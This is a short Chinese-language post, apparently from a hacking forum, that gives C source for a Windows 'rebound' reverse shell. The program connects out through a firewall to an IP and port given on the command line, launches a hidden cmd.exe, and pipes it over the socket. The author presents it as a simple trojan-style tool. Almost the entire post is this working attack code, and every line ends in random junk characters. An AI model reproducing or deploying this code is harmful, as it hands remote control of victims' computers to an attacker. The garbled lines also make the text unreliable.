这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j6R{
>+;
b>
/* ============================== t5jhpPVf
Rebound port in Windows NT ,3@15j
By wind,2006/7 :|m~<'g
===============================*/ zW"3K
#include MR)KLM0
#include *v:,rh
#nc@!+
#pragma comment(lib,"wsock32.lib") }*}`)rj,
L>5!3b=b
void OutputShell(); K&D}!.~/
SOCKET sClient; e@2Vn? 5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LHHDt<+B
vq0M[Vy
void main(int argc,char **argv) y`B!6p
5j
{ VI|DMx
WSADATA stWsaData; $p6Xa;j$ 9
int nRet; 2p3u6\y
SOCKADDR_IN stSaiClient,stSaiServer; q|
=q:4_L
|Z7bd^
if(argc != 3) t~<-4N$(
{ Y^jnlS)h
printf("Useage:\n\rRebound DestIP DestPort\n"); S^Wqa:;
return; SG|i/K|7
} yz2oS|0 '
R 6yvpH
WSAStartup(MAKEWORD(2,2),&stWsaData); 602eLV)
2`FsG/o\T~
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dT,m{[+
S~a:1
_Wl
stSaiClient.sin_family = AF_INET; WH*=81)zp
stSaiClient.sin_port = htons(0); X_s G6Q@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h&k^l,
t!=~5YgKs
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #g`cih=QL
{ kG;\i
printf("Bind Socket Failed!\n"); G|G?h
return; v/TlXxfil
} ik:)-GV;s
3~3(G[w
stSaiServer.sin_family = AF_INET; dI0>m:RBz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hA,rSq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XFf+efh
iJaNP%N
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %}]4Nsd e
{ i8[Y{a*
printf("Connect Error!"); -Ib+ /'
return; +SA<0l
} w6In{uO-Z
OutputShell(); d$pf[DJQo
} K<7T}XzU$
8.Own=G?
void OutputShell() :V-}Sde
{ }zS&H-8K
char szBuff[1024]; 69I.*[
SECURITY_ATTRIBUTES stSecurityAttributes; E5[]eg~w%{
OSVERSIONINFO stOsversionInfo; E=_B@VJknW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wyzBkRg.
STARTUPINFO stStartupInfo; iJKm27 ">
char *szShell; io?{ew
PROCESS_INFORMATION stProcessInformation;
s8_NN
unsigned long lBytesRead; gl7vM
"1`i]Y\'
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M Xt +
WWs[]zr
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g@6X|W5,J
stSecurityAttributes.lpSecurityDescriptor = 0; wR<QeH'V
stSecurityAttributes.bInheritHandle = TRUE; gK#fuQ$hH
Jgv>$u
-2na::<K
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L+ETMk0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gZ >orZL'
w4MMo
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); & Dl'*|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JX@6Sg<
stStartupInfo.wShowWindow = SW_HIDE; ND9>`I5
stStartupInfo.hStdInput = hReadPipe; rIWN!@.J
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h`;F<PFW
yJ`1},^
GetVersionEx(&stOsversionInfo); j!_^5d#d
*(q8?x0>
switch(stOsversionInfo.dwPlatformId) q>.t~
{ TYS\:ZdXF
case 1: 6p]R)K>wS
szShell = "command.com"; [#rdfN'?U
break; |`;1p@w"
default: ^sn>p}Tg
szShell = "cmd.exe"; 8qYGlew,
break; %b%<g%@i
} i~s9Ot
Hkz~9p
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $HCAC4
BaTOh'52
send(sClient,szMsg,77,0); ^]!1 'xg
while(1) Yl~?MOk
{ 2c`=S5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?gMrcc/{
if(lBytesRead) R qjDMN:
{ Qnb?hvb"d
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +ET
send(sClient,szBuff,lBytesRead,0); hsVJ&-#
} Sq8Q*
else B';>Hk
{ =? *"V-l
lBytesRead=recv(sClient,szBuff,1024,0); c^)E:J/
if(lBytesRead<=0) break; qkG;YGio
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U
<$xp
} nV xMo_
} ^8*SCM_A
J8?6G&0H
return; 'xXqEwi4
}